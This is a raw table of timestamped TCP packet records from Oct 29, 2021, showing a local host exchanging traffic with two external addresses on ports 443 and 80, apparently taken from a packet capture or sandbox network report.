Oct 29, 2021 14:10:20.777920008 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.777936935 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.777957916 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.778007030 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.778062105 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.778177977 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.778254986 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.778304100 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.778316975 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.778371096 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.778383017 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.778506041 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.778575897 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.778595924 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.778608084 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.778664112 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.778707981 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.778812885 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.778877974 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.778928041 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.778940916 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.778987885 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.778997898 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.779170036 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.779220104 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.779233932 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.779329062 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.779385090 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.779397964 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.779499054 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.779563904 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.779577017 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.779649019 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.779699087 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.779711008 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.779800892 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.779869080 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.779917955 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.779931068 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.779974937 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.779985905 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.780098915 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.780163050 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.780211926 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.780225039 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.780271053 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.780287981 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.780392885 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.780461073 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.780505896 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.780519009 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.780563116 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.780580997 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.780689955 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.780755043 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.780801058 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.780813932 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.780888081 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.780909061 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.781044006 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.781119108 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.781131983 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.790350914 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.790407896 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.790445089 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.790482998 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.790520906 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.790534019 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.790560007 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.790563107 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.790602922 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.790640116 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.790642023 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.790678978 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.790718079 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.790754080 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.790777922 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.790791988 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.790829897 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.790843964 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.790853024 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.790869951 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.790910959 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.790947914 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.790985107 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.790992975 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.791001081 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.791024923 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.791062117 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.791100025 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.791112900 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.791410923 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.795844078 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.795922041 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.795943975 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.795993090 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.796046972 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.796155930 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.796217918 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.796232939 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.796277046 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.796343088 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.796400070 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.796456099 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.796511889 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.796581030 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.796633959 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.796704054 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.796758890 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.796819925 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.796885967 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.796958923 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.797019958 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.797063112 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.797117949 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.797174931 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.797235966 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.797286987 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.797338009 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.797395945 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.797458887 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.797497034 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.797558069 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.814047098 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.814126968 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.814210892 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.814270020 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.814348936 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.814414978 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.814457893 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.814512014 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.814573050 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.814637899 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.814697981 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.814749002 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.814809084 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.814862967 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.814920902 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.814971924 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.815037966 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.815090895 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.815152884 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.815207958 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.815278053 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.815332890 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.815395117 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.815449953 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.815519094 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.815572977 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.815645933 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.815700054 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.815774918 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.815831900 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.815896988 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.815954924 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.816025019 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.816083908 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.816154957 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.816230059 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.816277027 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.816348076 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.816423893 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.816485882 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.816550970 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.816606045 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.816694021 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.816749096 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.816822052 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.816896915 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.816970110 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.817033052 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.817102909 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.817163944 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.817342997 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.817364931 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.817399979 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.817418098 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.817441940 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.817454100 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.817486048 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.817604065 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.817658901 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.817672968 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.817761898 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.817822933 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.817835093 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.817864895 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.817934036 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.817946911 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.826499939 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.826773882 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.834158897 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.834250927 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.834268093 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.834337950 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.834608078 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.834686041 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.834697008 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.834713936 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.834762096 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.834994078 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.835067987 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.835083008 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.835103035 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.835144997 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.835334063 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.835403919 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.835424900 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.835501909 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.835709095 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.835777044 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.835799932 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.835875988 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.836076975 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.836148977 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.836164951 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.836184978 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.836230040 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.836261034 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.836296082 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.836368084 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.836380959 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.836440086 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.836462021 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.836529016 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.836704016 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.836941957 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.840818882 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.859849930 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.859903097 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.859942913 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.859981060 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.860018015 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.860037088 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.860057116 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.860066891 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.860095978 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.860136032 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.860152960 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.860178947 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.860219002 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.860258102 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.860296011 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.860311031 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.860318899 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.860333920 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.860373020 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.860387087 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.860409975 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.860447884 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.860487938 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.860502958 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.860511065 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.860527039 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.860565901 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.860604048 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.860639095 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.860656023 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.860663891 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.860677958 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.860717058 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.860743999 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.860755920 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.860796928 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.860835075 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.860852003 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.860909939 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.860914946 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.860950947 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.860987902 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.861023903 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.861061096 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.861073971 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.861082077 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.861099005 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.861139059 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.861176968 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.861215115 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.861228943 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.861244917 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.861283064 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.861284971 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.861294031 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.861320972 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.861358881 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.861372948 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.861398935 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.861450911 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.931749105 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.931807041 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.931847095 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.931886911 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.931926966 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.931941986 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.931967974 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.931967974 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.932009935 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.932049036 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.932080984 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.932087898 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.932089090 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.932127953 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.932164907 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.932204008 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.932245970 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.932261944 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.932272911 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.932288885 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.932348013 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.932378054 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.932400942 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.932454109 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.932467937 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.932507038 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.932563066 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.932604074 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.932622910 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.932676077 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.932682037 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.932749033 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.932785988 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.932802916 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.932898998 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.932955027 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.932961941 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.933012009 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.933072090 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.933124065 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.933125019 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.933180094 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.933204889 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.933223963 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.933260918 CEST	80	49829	5.188.88.203	192.168.2.3
